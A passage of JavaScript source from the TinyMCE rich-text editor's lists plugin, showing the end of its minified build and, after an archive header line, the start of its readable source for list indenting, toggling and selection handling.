en(e,"OL,UL")},On=function(e){return on(e).map(Cn).getOr(!1)},bn=function(e){return 0<e.depth},Tn=function(e){return e.isSelected},En=function(e){var n=tn(e),t=un(e).map(Cn).getOr(!1)?n.slice(0,-1):n;return J(t,vn)},Ln=Object.prototype.hasOwnProperty,Dn=(c=function(e,n){return n},function(){for(var e=new Array(arguments.length),n=0;n<e.length;n++)e[n]=arguments[n];if(0===e.length)throw new Error("Can't merge zero objects");for(var t={},r=0;r<e.length;r++){var o=e[r];for(var i in o)Ln.call(o,i)&&(t[i]=c(t[i],o[i]))}return t}),wn=function(n){Z(n,function(r,e){(function(e,n){for(var t=e[n].depth,r=n-1;0<=r;r--){if(e[r].depth===t)return q.some(e[r]);if(e[r].depth<t)break}return q.none()})(n,e).each(function(e){var n,t;t=e,(n=r).listType=t.listType,n.listAttributes=Dn({},t.listAttributes)})})},kn=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return kn(t())}}},An=function(i,u,s,a){return on(a).filter(Cn).fold(function(){u.each(function(e){Je(e.start,a)&&s.set(!0)});var n,t,r,e=(n=a,t=i,r=s.get(),nn(n).filter(ln).map(function(e){return{depth:t,isSelected:r,content:En(n),itemAttributes:gn(n),listAttributes:gn(e),listType:dn(e)}}));u.each(function(e){Je(e.end,a)&&s.set(!1)});var o=un(a).filter(Cn).map(function(e){return xn(i,u,s,e)}).getOr([]);return e.toArray().concat(o)},function(e){return xn(i,u,s,e)})},xn=function(n,t,r,e){return re(tn(e),function(e){return(Cn(e)?xn:An)(n+1,t,r,e)})},Rn=tinymce.util.Tools.resolve("tinymce.Env"),In=function(e,n){var t,r,o,i,u=e.dom,s=e.schema.getBlockElements(),a=u.createFragment();if(e.settings.forced_root_block&&(o=e.settings.forced_root_block),o&&((r=u.create(o)).tagName===e.settings.forced_root_block&&u.setAttribs(r,e.settings.forced_root_block_attrs),L(n.firstChild,s)||a.appendChild(r)),n)for(;t=n.firstChild;){var c=t.nodeName;i||"SPAN"===c&&"bookmark"===t.getAttribute("data-mce-type")||(i=!0),L(t,s)?(a.appendChild(t),r=null):o?(r||(r=u.create(o),a.appendChild(r)),r.appendChild(t)):a.appendChild(t)}return e.settings.forced_root_block?i||Rn.ie&&!(10<Rn.ie)||r.appendChild(u.create("br",{"data-mce-bogus":"1"})):a.appendChild(u.create("br")),a},_n=function(i,e){return J(e,function(e){var n,t,r,o=(n=e.content,r=(t||u.document).createDocumentFragment(),Z(n,function(e){r.appendChild(e.dom())}),ye.fromDom(r));return ye.fromDom(In(i,o.dom()))})},Bn=function(e,n){return wn(n),(t=e.contentDocument,r=n,o=ne(r,function(e,n){return n.depth>e.length?Sn(t,e,n):Nn(t,e,n)},[]),oe(o).map(function(e){return e.list})).toArray();var t,r,o},Pn=function(e){var n,t,r=J(ve.getSelectedListItems(e),ye.fromDom);return Ne(te(r,M(On)),te((n=r,(t=Y.call(n,0)).reverse(),t),M(On)),function(e,n){return{start:e,end:n}})},Mn=function(s,e,a){var n,t,r,o=(n=e,t=Pn(s),r=kn(!1),J(n,function(e){return{sourceList:e,entries:xn(0,t,r,e)}}));Z(o,function(e){var n,t,r,o,i,u;n=e.entries,t=a,Z(ee(n,Tn),function(e){return function(e,n){switch(e){case"Indent":n.depth++;break;case"Outdent":n.depth--;break;case"Flatten":n.depth=0}}(t,e)}),r=e.sourceList,i=s,u=e.entries,o=re(function(e,n){if(0===e.length)return[];for(var t=n(e[0]),r=[],o=[],i=0,u=e.length;i<u;i++){var s=e[i],a=n(s);a!==t&&(r.push(o),o=[]),t=a,o.push(s)}return 0!==o.length&&r.push(o),r}(u,bn),function(e){return oe(e).map(bn).getOr(!1)?Bn(i,e):_n(i,e)}),Z(o,function(e){sn(r,e)}),fn(e.sourceList)})},Un=g.DOM,Fn=function(e,n,t){var r,o,i,u,s,a;for(i=Un.select('span[data-mce-type="bookmark"]',n),s=In(e,t),(r=Un.createRng()).setStartAfter(t),r.setEndAfter(n),u=(o=r.extractContents()).firstChild;u;u=u.firstChild)if("LI"===u.nodeName&&e.dom.isEmpty(u)){Un.remove(u);break}e.dom.isEmpty(o)||Un.insertAfter(o,n),Un.insertAfter(s,n),w(e.dom,t.parentNode)&&(a=t.parentNode,v.each(i,function(e){a.parentNode.insertBefore(e,t.parentNode)}),Un.remove(a)),Un.remove(t),w(e.dom,n)&&Un.remove(n)},jn=function(e){en(e,"dt")&&hn(e,"dd")},Hn=function(r,e,n){Z(n,"Indent"===e?jn:function(e){return n=r,void(en(t=e,"dd")?hn(t,"dt"):en(t,"dt")&&nn(t).each(function(e){return Fn(n,e.dom(),t.dom())}));var n,t})},$n=function(e,n){var t=J(ve.getSelectedListRoots(e),ye.fromDom),r=J(ve.getSelectedDlItems(e),ye.fromDom),o=!1;if(t.length||r.length){var i=e.selection.getBookmark();Mn(e,t,n),Hn(e,n,r),e.selection.moveToBookmark(i),e.selection.setRng(x(e.selection.getRng())),e.nodeChanged(),o=!0}return o},qn=function(e){return $n(e,"Indent")},Wn=function(e){return $n(e,"Outdent")},Vn=function(e){return $n(e,"Flatten")},zn=function(t,e){v.each(e,function(e,n){t.setAttribute(n,e)})},Kn=function(e,n,t){var r,o,i,u,s,a,c;r=e,o=n,u=(i=t)["list-style-type"]?i["list-style-type"]:null,r.setStyle(o,"list-style-type",u),s=e,zn(a=n,(c=t)["list-attributes"]),v.each(s.select("li",a),function(e){zn(e,c["list-item-attributes"])})},Xn=function(e,n,t,r){var o,i;for(o=n[t?"startContainer":"endContainer"],i=n[t?"startOffset":"endOffset"],1===o.nodeType&&(o=o.childNodes[Math.min(i,o.childNodes.length-1)]||o),!t&&T(o.nextSibling)&&(o=o.nextSibling);o.parentNode!==r;){if(E(e,o))return o;if(/^(TD|TH)$/.test(o.parentNode.nodeName))return o;o=o.parentNode}return o},Qn=function(f,d,l){void 0===l&&(l={});var e,n=f.selection.getRng(!0),m="LI",t=ve.getClosestListRootElm(f,f.selection.getStart(!0)),g=f.dom;"false"!==g.getContentEditable(f.selection.getNode())&&("DL"===(d=d.toUpperCase())&&(m="DT"),e=I(n),v.each(function(t,e,r){for(var o,i=[],u=t.dom,n=Xn(t,e,!0,r),s=Xn(t,e,!1,r),a=[],c=n;c&&(a.push(c),c!==s);c=c.nextSibling);return v.each(a,function(e){if(E(t,e))return i.push(e),void(o=null);if(u.isBlock(e)||T(e))return T(e)&&u.remove(e),void(o=null);var n=e.nextSibling;p.isBookmarkNode(e)&&(E(t,n)||!n&&e.parentNode===r)?o=null:(o||(o=u.create("p"),e.parentNode.insertBefore(o,e),i.push(o)),o.appendChild(e))}),i}(f,n,t),function(e){var n,t,r,o,i,u,s,a,c;(t=e.previousSibling)&&N(t)&&t.nodeName===d&&(r=t,o=l,i=g.getStyle(r,"list-style-type"),u=o?o["list-style-type"]:"",i===(u=null===u?"":u))?(n=t,e=g.rename(e,m),t.appendChild(e)):(n=g.create(d),e.parentNode.insertBefore(n,e),n.appendChild(e),e=g.rename(e,m)),s=g,a=e,c=["margin","margin-right","margin-bottom","margin-left","margin-top","padding","padding-right","padding-bottom","padding-left","padding-top"],v.each(c,function(e){var n;return s.setStyle(a,((n={})[e]="",n))}),Kn(g,n,l),Gn(f.dom,n)}),f.selection.setRng(_(e)))},Yn=function(e,n,t){return a=t,(s=n)&&a&&N(s)&&s.nodeName===a.nodeName&&(i=n,u=t,(o=e).getStyle(i,"list-style-type",!0)===o.getStyle(u,"list-style-type",!0))&&(r=t,n.className===r.className);var r,o,i,u,s,a},Gn=function(e,n){var t,r;if(t=n.nextSibling,Yn(e,n,t)){for(;r=t.firstChild;)n.appendChild(r);e.remove(t)}if(t=n.previousSibling,Yn(e,n,t)){for(;r=t.lastChild;)n.insertBefore(r,n.firstChild);e.remove(t)}},Jn=function(n,e,t,r,o){if(e.nodeName!==r||Zn(o)){var i=I(n.selection.getRng(!0));v.each([e].concat(t),function(e){!function(e,n,t,r){if(n.nodeName!==t){var o=e.rename(n,t);Kn(e,o,r)}else Kn(e,n,r)}(n.dom,e,r,o)}),n.selection.setRng(_(i))}else Vn(n)},Zn=function(e){return"list-style-type"in e},et={toggleList:function(e,n,t){var r=ve.getParentList(e),o=ve.getSelectedSubLists(e);t=t||{},r&&0<o.length?Jn(e,r,o,n,t):function(e,n,t,r){if(n!==e.getBody())if(n)if(n.nodeName!==t||Zn(r)){var o=I(e.selection.getRng(!0));Kn(e.dom,n,r),Gn(e.dom,e.dom.rename(n,t)),e.selection.setRng(_(o))}else Vn(e);else Qn(e,t,r)}(e,r,n,t)},mergeWithAdjacentLists:Gn},nt=g.DOM,tt=function(e,n){var t,r=n.parentNode;"LI"===r.nodeName&&r.firstChild===n&&((t=r.previousSibling)&&"LI"===t.nodeName?(t.appendChild(n),w(e,r)&&nt.remove(r)):nt.setStyle(r,"listStyleType","none")),N(r)&&(t=r.previousSibling)&&"LI"===t.nodeName&&t.appendChild(n)},rt=function(n,e){v.each(v.grep(n.select("ol,ul",e)),function(e){tt(n,e)})},ot=function(e,n,t,r){var o,i,u=n.startContainer,s=n.startOffset;if(3===u.nodeType&&(t?s<u.data.length:0<s))return u;for(o=e.schema.getNonEmptyElements(),1===u.nodeType&&(u=d.getNode(u,s)),i=new l(u,r),t&&D(e.dom,u)&&i.next();u=i[t?"next":"prev2"]();){if("LI"===u.nodeName&&!u.hasChildNodes())return u;if(o[u.nodeName])return u;if(3===u.nodeType&&0<u.data.length)return u}},it=function(e,n){var t=n.childNodes;return 1===t.length&&!N(t[0])&&e.isBlock(t[0])},ut=function(e,n,t){var r,o,i,u;if(o=it(e,t)?t.firstChild:t,it(i=e,u=n)&&i.remove(u.firstChild,!0),!w(e,n,!0))for(;r=n.firstChild;)o.appendChild(r)},st=function(n,e,t){var r,o,i=e.parentNode;if(k(n,e)&&k(n,t)){N(t.lastChild)&&(o=t.lastChild),i===t.lastChild&&T(i.previousSibling)&&n.remove(i.previousSibling),(r=t.lastChild)&&T(r)&&e.hasChildNodes()&&n.remove(r),w(n,t,!0)&&n.$(t).empty(),ut(n,e,t),o&&t.appendChild(o);var u=Ze(ye.fromDom(t),ye.fromDom(e))?n.getParents(e,N,t):[];n.remove(e),Z(u,function(e){w(n,e)&&e!==n.getRoot()&&n.remove(e)})}},at=function(e,n,t,r){var o,i,u,s=e.dom;if(s.isEmpty(r))i=t,u=r,(o=e).dom.$(u).empty(),st(o.dom,i,u),o.selection.setCursorLocation(u);else{var a=I(n);st(s,t,r),e.selection.setRng(_(a))}},ct=function(e,n){var t,r,o,i=e.dom,u=e.selection,s=u.getStart(),a=ve.getClosestListRootElm(e,s),c=i.getParent(u.getStart(),"LI",a);if(c){if((t=c.parentNode)===e.getBody()&&w(i,t))return!0;if(r=x(u.getRng(!0)),(o=i.getParent(ot(e,r,n,a),"LI",a))&&o!==c)return n?at(e,r,o,c):function(e,n,t,r){var o=I(n);st(e.dom,t,r);var i=_(o);e.selection.setRng(i)}(e,r,c,o),!0;if(!o&&!n)return Vn(e),!0}return!1},ft=function(e,n){return ct(e,n)||function(o,i){var u=o.dom,e=o.selection.getStart(),s=ve.getClosestListRootElm(o,e),a=u.getParent(e,u.isBlock,s);if(a&&u.isEmpty(a)){var n=x(o.selection.getRng(!0)),c=u.getParent(ot(o,n,i,s),"LI",s);if(c)return o.undoManager.transact(function(){var e,n,t,r;n=a,t=s,r=(e=u).getParent(n.parentNode,e.isBlock,t),e.remove(n),r&&e.isEmpty(r)&&e.remove(r),et.mergeWithAdjacentLists(u,c.parentNode),o.selection.select(c,!0),o.selection.collapse(i)}),!0}return!1}(e,n)},dt=function(e,n){return e.selection.isCollapsed()?ft(e,n):(r=(t=e).selection.getStart(),o=ve.getClosestListRootElm(t,r),!!(t.dom.getParent(r,"LI,DT,DD",o)||0<ve.getSelectedListItems(t).length)&&(t.undoManager.transact(function(){t.execCommand("Delete"),rt(t.dom,t.getBody())}),!0));var t,r,o},lt=function(n){n.on("keydown",function(e){e.keyCode===m.BACKSPACE?dt(n,!1)&&e.preventDefault():e.keyCode===m.DELETE&&dt(n,!0)&&e.preventDefault()})},mt=dt,gt=function(n){return{backspaceDelete:function(e){mt(n,e)}}},pt=function(n,t){return function(){var e=n.dom.getParent(n.selection.getStart(),"UL,OL,DL");return e&&e.nodeName===t}},vt=function(t){t.on("BeforeExecCommand",function(e){var n=e.command.toLowerCase();"indent"===n?qn(t):"outdent"===n&&Wn(t)}),t.addCommand("InsertUnorderedList",function(e,n){et.toggleList(t,"UL",n)}),t.addCommand("InsertOrderedList",function(e,n){et.toggleList(t,"OL",n)}),t.addCommand("InsertDefinitionList",function(e,n){et.toggleList(t,"DL",n)}),t.addCommand("RemoveList",function(){Vn(t)}),t.addQueryStateHandler("InsertUnorderedList",pt(t,"UL")),t.addQueryStateHandler("InsertOrderedList",pt(t,"OL")),t.addQueryStateHandler("InsertDefinitionList",pt(t,"DL"))},ht=function(e){return e.getParam("lists_indent_on_tab",!0)},yt=function(e){var n;ht(e)&&(n=e).on("keydown",function(e){e.keyCode!==m.TAB||m.metaKeyPressed(e)||n.undoManager.transact(function(){(e.shiftKey?Wn(n):qn(n))&&e.preventDefault()})}),lt(e)},Nt=function(n,i){return function(e){var o=e.control;n.on("NodeChange",function(e){var n=function(e,n){for(var t=0;t<e.length;t++)if(n(e[t]))return t;return-1}(e.parents,b),t=-1!==n?e.parents.slice(0,n):e.parents,r=v.grep(t,N);o.active(0<r.length&&r[0].nodeName===i)})}},St=function(e){var n,t,r;t="advlist",r=(n=e).settings.plugins?n.settings.plugins:"",-1===v.inArray(r.split(/[ ,]/),t)&&(e.addButton("numlist",{active:!1,title:"Numbered list",cmd:"InsertOrderedList",onPostRender:Nt(e,"OL")}),e.addButton("bullist",{active:!1,title:"Bullet list",cmd:"InsertUnorderedList",onPostRender:Nt(e,"UL")})),e.addButton("indent",{icon:"indent",title:"Increase indent",cmd:"Indent"})};f.add("lists",function(e){return yt(e),St(e),vt(e),gt(e)})}(window); tinymce/plugins/lists/plugin.js 0000644 00000211417 15111757756 0012714 0 ustar 00 (function () { var lists = (function (domGlobals) { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils'); var global$2 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker'); var global$3 = tinymce.util.Tools.resolve('tinymce.util.VK'); var global$4 = tinymce.util.Tools.resolve('tinymce.dom.BookmarkManager'); var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$6 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var isTextNode = function (node) { return node && node.nodeType === 3; }; var isListNode = function (node) { return node && /^(OL|UL|DL)$/.test(node.nodeName); }; var isOlUlNode = function (node) { return node && /^(OL|UL)$/.test(node.nodeName); }; var isListItemNode = function (node) { return node && /^(LI|DT|DD)$/.test(node.nodeName); }; var isDlItemNode = function (node) { return node && /^(DT|DD)$/.test(node.nodeName); }; var isTableCellNode = function (node) { return node && /^(TH|TD)$/.test(node.nodeName); }; var isBr = function (node) { return node && node.nodeName === 'BR'; }; var isFirstChild = function (node) { return node.parentNode.firstChild === node; }; var isLastChild = function (node) { return node.parentNode.lastChild === node; }; var isTextBlock = function (editor, node) { return node && !!editor.schema.getTextBlockElements()[node.nodeName]; }; var isBlock = function (node, blockElements) { return node && node.nodeName in blockElements; }; var isBogusBr = function (dom, node) { if (!isBr(node)) { return false; } if (dom.isBlock(node.nextSibling) && !isBr(node.previousSibling)) { return true; } return false; }; var isEmpty = function (dom, elm, keepBookmarks) { var empty = dom.isEmpty(elm); if (keepBookmarks && dom.select('span[data-mce-type=bookmark]', elm).length > 0) { return false; } return empty; }; var isChildOfBody = function (dom, elm) { return dom.isChildOf(elm, dom.getRoot()); }; var NodeType = { isTextNode: isTextNode, isListNode: isListNode, isOlUlNode: isOlUlNode, isDlItemNode: isDlItemNode, isListItemNode: isListItemNode, isTableCellNode: isTableCellNode, isBr: isBr, isFirstChild: isFirstChild, isLastChild: isLastChild, isTextBlock: isTextBlock, isBlock: isBlock, isBogusBr: isBogusBr, isEmpty: isEmpty, isChildOfBody: isChildOfBody }; var getNormalizedPoint = function (container, offset) { if (NodeType.isTextNode(container)) { return { container: container, offset: offset }; } var node = global$1.getNode(container, offset); if (NodeType.isTextNode(node)) { return { container: node, offset: offset >= container.childNodes.length ? node.data.length : 0 }; } else if (node.previousSibling && NodeType.isTextNode(node.previousSibling)) { return { container: node.previousSibling, offset: node.previousSibling.data.length }; } else if (node.nextSibling && NodeType.isTextNode(node.nextSibling)) { return { container: node.nextSibling, offset: 0 }; } return { container: container, offset: offset }; }; var normalizeRange = function (rng) { var outRng = rng.cloneRange(); var rangeStart = getNormalizedPoint(rng.startContainer, rng.startOffset); outRng.setStart(rangeStart.container, rangeStart.offset); var rangeEnd = getNormalizedPoint(rng.endContainer, rng.endOffset); outRng.setEnd(rangeEnd.container, rangeEnd.offset); return outRng; }; var Range = { getNormalizedPoint: getNormalizedPoint, normalizeRange: normalizeRange }; var DOM = global$6.DOM; var createBookmark = function (rng) { var bookmark = {}; var setupEndPoint = function (start) { var offsetNode, container, offset; container = rng[start ? 'startContainer' : 'endContainer']; offset = rng[start ? 'startOffset' : 'endOffset']; if (container.nodeType === 1) { offsetNode = DOM.create('span', { 'data-mce-type': 'bookmark' }); if (container.hasChildNodes()) { offset = Math.min(offset, container.childNodes.length - 1); if (start) { container.insertBefore(offsetNode, container.childNodes[offset]); } else { DOM.insertAfter(offsetNode, container.childNodes[offset]); } } else { container.appendChild(offsetNode); } container = offsetNode; offset = 0; } bookmark[start ? 'startContainer' : 'endContainer'] = container; bookmark[start ? 'startOffset' : 'endOffset'] = offset; }; setupEndPoint(true); if (!rng.collapsed) { setupEndPoint(); } return bookmark; }; var resolveBookmark = function (bookmark) { function restoreEndPoint(start) { var container, offset, node; var nodeIndex = function (container) { var node = container.parentNode.firstChild, idx = 0; while (node) { if (node === container) { return idx; } if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') { idx++; } node = node.nextSibling; } return -1; }; container = node = bookmark[start ? 'startContainer' : 'endContainer']; offset = bookmark[start ? 'startOffset' : 'endOffset']; if (!container) { return; } if (container.nodeType === 1) { offset = nodeIndex(container); container = container.parentNode; DOM.remove(node); if (!container.hasChildNodes() && DOM.isBlock(container)) { container.appendChild(DOM.create('br')); } } bookmark[start ? 'startContainer' : 'endContainer'] = container; bookmark[start ? 'startOffset' : 'endOffset'] = offset; } restoreEndPoint(true); restoreEndPoint(); var rng = DOM.createRng(); rng.setStart(bookmark.startContainer, bookmark.startOffset); if (bookmark.endContainer) { rng.setEnd(bookmark.endContainer, bookmark.endOffset); } return Range.normalizeRange(rng); }; var Bookmark = { createBookmark: createBookmark, resolveBookmark: resolveBookmark }; var noop = function () { }; var constant = function (value) { return function () { return value; }; }; var not = function (f) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return !f.apply(null, args); }; }; var never = constant(false); var always = constant(true); var none = function () { return NONE; }; var NONE = function () { var eq = function (o) { return o.isNone(); }; var call = function (thunk) { return thunk(); }; var id = function (n) { return n; }; var me = { fold: function (n, s) { return n(); }, is: never, isSome: never, isNone: always, getOr: id, getOrThunk: call, getOrDie: function (msg) { throw new Error(msg || 'error: getOrDie called on none.'); }, getOrNull: constant(null), getOrUndefined: constant(undefined), or: id, orThunk: call, map: none, each: noop, bind: none, exists: never, forall: always, filter: none, equals: eq, equals_: eq, toArray: function () { return []; }, toString: constant('none()') }; if (Object.freeze) { Object.freeze(me); } return me; }(); var some = function (a) { var constant_a = constant(a); var self = function () { return me; }; var bind = function (f) { return f(a); }; var me = { fold: function (n, s) { return s(a); }, is: function (v) { return a === v; }, isSome: always, isNone: never, getOr: constant_a, getOrThunk: constant_a, getOrDie: constant_a, getOrNull: constant_a, getOrUndefined: constant_a, or: self, orThunk: self, map: function (f) { return some(f(a)); }, each: function (f) { f(a); }, bind: bind, exists: bind, forall: bind, filter: function (f) { return f(a) ? me : NONE; }, toArray: function () { return [a]; }, toString: function () { return 'some(' + a + ')'; }, equals: function (o) { return o.is(a); }, equals_: function (o, elementEq) { return o.fold(never, function (b) { return elementEq(a, b); }); } }; return me; }; var from = function (value) { return value === null || value === undefined ? NONE : some(value); }; var Option = { some: some, none: none, from: from }; var typeOf = function (x) { if (x === null) { return 'null'; } var t = typeof x; if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) { return 'array'; } if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) { return 'string'; } return t; }; var isType = function (type) { return function (value) { return typeOf(value) === type; }; }; var isString = isType('string'); var isArray = isType('array'); var isBoolean = isType('boolean'); var isFunction = isType('function'); var isNumber = isType('number'); var nativeSlice = Array.prototype.slice; var nativePush = Array.prototype.push; var map = function (xs, f) { var len = xs.length; var r = new Array(len); for (var i = 0; i < len; i++) { var x = xs[i]; r[i] = f(x, i); } return r; }; var each = function (xs, f) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; f(x, i); } }; var filter = function (xs, pred) { var r = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { r.push(x); } } return r; }; var groupBy = function (xs, f) { if (xs.length === 0) { return []; } else { var wasType = f(xs[0]); var r = []; var group = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; var type = f(x); if (type !== wasType) { r.push(group); group = []; } wasType = type; group.push(x); } if (group.length !== 0) { r.push(group); } return r; } }; var foldl = function (xs, f, acc) { each(xs, function (x) { acc = f(acc, x); }); return acc; }; var find = function (xs, pred) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return Option.some(x); } } return Option.none(); }; var flatten = function (xs) { var r = []; for (var i = 0, len = xs.length; i < len; ++i) { if (!isArray(xs[i])) { throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs); } nativePush.apply(r, xs[i]); } return r; }; var bind = function (xs, f) { var output = map(xs, f); return flatten(output); }; var reverse = function (xs) { var r = nativeSlice.call(xs, 0); r.reverse(); return r; }; var head = function (xs) { return xs.length === 0 ? Option.none() : Option.some(xs[0]); }; var last = function (xs) { return xs.length === 0 ? Option.none() : Option.some(xs[xs.length - 1]); }; var from$1 = isFunction(Array.from) ? Array.from : function (x) { return nativeSlice.call(x); }; var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')(); var path = function (parts, scope) { var o = scope !== undefined && scope !== null ? scope : Global; for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) { o = o[parts[i]]; } return o; }; var resolve = function (p, scope) { var parts = p.split('.'); return path(parts, scope); }; var unsafe = function (name, scope) { return resolve(name, scope); }; var getOrDie = function (name, scope) { var actual = unsafe(name, scope); if (actual === undefined || actual === null) { throw new Error(name + ' not available on this browser'); } return actual; }; var Global$1 = { getOrDie: getOrDie }; var htmlElement = function (scope) { return Global$1.getOrDie('HTMLElement', scope); }; var isPrototypeOf = function (x) { var scope = resolve('ownerDocument.defaultView', x); return htmlElement(scope).prototype.isPrototypeOf(x); }; var HTMLElement = { isPrototypeOf: isPrototypeOf }; var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery'); var getParentList = function (editor) { var selectionStart = editor.selection.getStart(true); return editor.dom.getParent(selectionStart, 'OL,UL,DL', getClosestListRootElm(editor, selectionStart)); }; var isParentListSelected = function (parentList, selectedBlocks) { return parentList && selectedBlocks.length === 1 && selectedBlocks[0] === parentList; }; var findSubLists = function (parentList) { return global$5.grep(parentList.querySelectorAll('ol,ul,dl'), function (elm) { return NodeType.isListNode(elm); }); }; var getSelectedSubLists = function (editor) { var parentList = getParentList(editor); var selectedBlocks = editor.selection.getSelectedBlocks(); if (isParentListSelected(parentList, selectedBlocks)) { return findSubLists(parentList); } else { return global$5.grep(selectedBlocks, function (elm) { return NodeType.isListNode(elm) && parentList !== elm; }); } }; var findParentListItemsNodes = function (editor, elms) { var listItemsElms = global$5.map(elms, function (elm) { var parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListRootElm(editor, elm)); return parentLi ? parentLi : elm; }); return global$7.unique(listItemsElms); }; var getSelectedListItems = function (editor) { var selectedBlocks = editor.selection.getSelectedBlocks(); return global$5.grep(findParentListItemsNodes(editor, selectedBlocks), function (block) { return NodeType.isListItemNode(block); }); }; var getSelectedDlItems = function (editor) { return filter(getSelectedListItems(editor), NodeType.isDlItemNode); }; var getClosestListRootElm = function (editor, elm) { var parentTableCell = editor.dom.getParents(elm, 'TD,TH'); var root = parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody(); return root; }; var findLastParentListNode = function (editor, elm) { var parentLists = editor.dom.getParents(elm, 'ol,ul', getClosestListRootElm(editor, elm)); return last(parentLists); }; var getSelectedLists = function (editor) { var firstList = findLastParentListNode(editor, editor.selection.getStart()); var subsequentLists = filter(editor.selection.getSelectedBlocks(), NodeType.isOlUlNode); return firstList.toArray().concat(subsequentLists); }; var getSelectedListRoots = function (editor) { var selectedLists = getSelectedLists(editor); return getUniqueListRoots(editor, selectedLists); }; var getUniqueListRoots = function (editor, lists) { var listRoots = map(lists, function (list) { return findLastParentListNode(editor, list).getOr(list); }); return global$7.unique(listRoots); }; var isList = function (editor) { var list = getParentList(editor); return HTMLElement.isPrototypeOf(list); }; var Selection = { isList: isList, getParentList: getParentList, getSelectedSubLists: getSelectedSubLists, getSelectedListItems: getSelectedListItems, getClosestListRootElm: getClosestListRootElm, getSelectedDlItems: getSelectedDlItems, getSelectedListRoots: getSelectedListRoots }; var fromHtml = function (html, scope) { var doc = scope || domGlobals.document; var div = doc.createElement('div'); div.innerHTML = html; if (!div.hasChildNodes() || div.childNodes.length > 1) { domGlobals.console.error('HTML does not have a single root node', html); throw new Error('HTML must have a single root node'); } return fromDom(div.childNodes[0]); }; var fromTag = function (tag, scope) { var doc = scope || domGlobals.document; var node = doc.createElement(tag); return fromDom(node); }; var fromText = function (text, scope) { var doc = scope || domGlobals.document; var node = doc.createTextNode(text); return fromDom(node); }; var fromDom = function (node) { if (node === null || node === undefined) { throw new Error('Node cannot be null or undefined'); } return { dom: constant(node) }; }; var fromPoint = function (docElm, x, y) { var doc = docElm.dom(); return Option.from(doc.elementFromPoint(x, y)).map(fromDom); }; var Element = { fromHtml: fromHtml, fromTag: fromTag, fromText: fromText, fromDom: fromDom, fromPoint: fromPoint }; var lift2 = function (oa, ob, f) { return oa.isSome() && ob.isSome() ? Option.some(f(oa.getOrDie(), ob.getOrDie())) : Option.none(); }; var fromElements = function (elements, scope) { var doc = scope || domGlobals.document; var fragment = doc.createDocumentFragment(); each(elements, function (element) { fragment.appendChild(element.dom()); }); return Element.fromDom(fragment); }; var Immutable = function () { var fields = []; for (var _i = 0; _i < arguments.length; _i++) { fields[_i] = arguments[_i]; } return function () { var values = []; for (var _i = 0; _i < arguments.length; _i++) { values[_i] = arguments[_i]; } if (fields.length !== values.length) { throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments'); } var struct = {}; each(fields, function (name, i) { struct[name] = constant(values[i]); }); return struct; }; }; var keys = Object.keys; var each$1 = function (obj, f) { var props = keys(obj); for (var k = 0, len = props.length; k < len; k++) { var i = props[k]; var x = obj[i]; f(x, i); } }; var node = function () { var f = Global$1.getOrDie('Node'); return f; }; var compareDocumentPosition = function (a, b, match) { return (a.compareDocumentPosition(b) & match) !== 0; }; var documentPositionPreceding = function (a, b) { return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING); }; var documentPositionContainedBy = function (a, b) { return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY); }; var Node = { documentPositionPreceding: documentPositionPreceding, documentPositionContainedBy: documentPositionContainedBy }; var cached = function (f) { var called = false; var r; return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } if (!called) { called = true; r = f.apply(null, args); } return r; }; }; var firstMatch = function (regexes, s) { for (var i = 0; i < regexes.length; i++) { var x = regexes[i]; if (x.test(s)) { return x; } } return undefined; }; var find$1 = function (regexes, agent) { var r = firstMatch(regexes, agent); if (!r) { return { major: 0, minor: 0 }; } var group = function (i) { return Number(agent.replace(r, '$' + i)); }; return nu(group(1), group(2)); }; var detect = function (versionRegexes, agent) { var cleanedAgent = String(agent).toLowerCase(); if (versionRegexes.length === 0) { return unknown(); } return find$1(versionRegexes, cleanedAgent); }; var unknown = function () { return nu(0, 0); }; var nu = function (major, minor) { return { major: major, minor: minor }; }; var Version = { nu: nu, detect: detect, unknown: unknown }; var edge = 'Edge'; var chrome = 'Chrome'; var ie = 'IE'; var opera = 'Opera'; var firefox = 'Firefox'; var safari = 'Safari'; var isBrowser = function (name, current) { return function () { return current === name; }; }; var unknown$1 = function () { return nu$1({ current: undefined, version: Version.unknown() }); }; var nu$1 = function (info) { var current = info.current; var version = info.version; return { current: current, version: version, isEdge: isBrowser(edge, current), isChrome: isBrowser(chrome, current), isIE: isBrowser(ie, current), isOpera: isBrowser(opera, current), isFirefox: isBrowser(firefox, current), isSafari: isBrowser(safari, current) }; }; var Browser = { unknown: unknown$1, nu: nu$1, edge: constant(edge), chrome: constant(chrome), ie: constant(ie), opera: constant(opera), firefox: constant(firefox), safari: constant(safari) }; var windows = 'Windows'; var ios = 'iOS'; var android = 'Android'; var linux = 'Linux'; var osx = 'OSX'; var solaris = 'Solaris'; var freebsd = 'FreeBSD'; var isOS = function (name, current) { return function () { return current === name; }; }; var unknown$2 = function () { return nu$2({ current: undefined, version: Version.unknown() }); }; var nu$2 = function (info) { var current = info.current; var version = info.version; 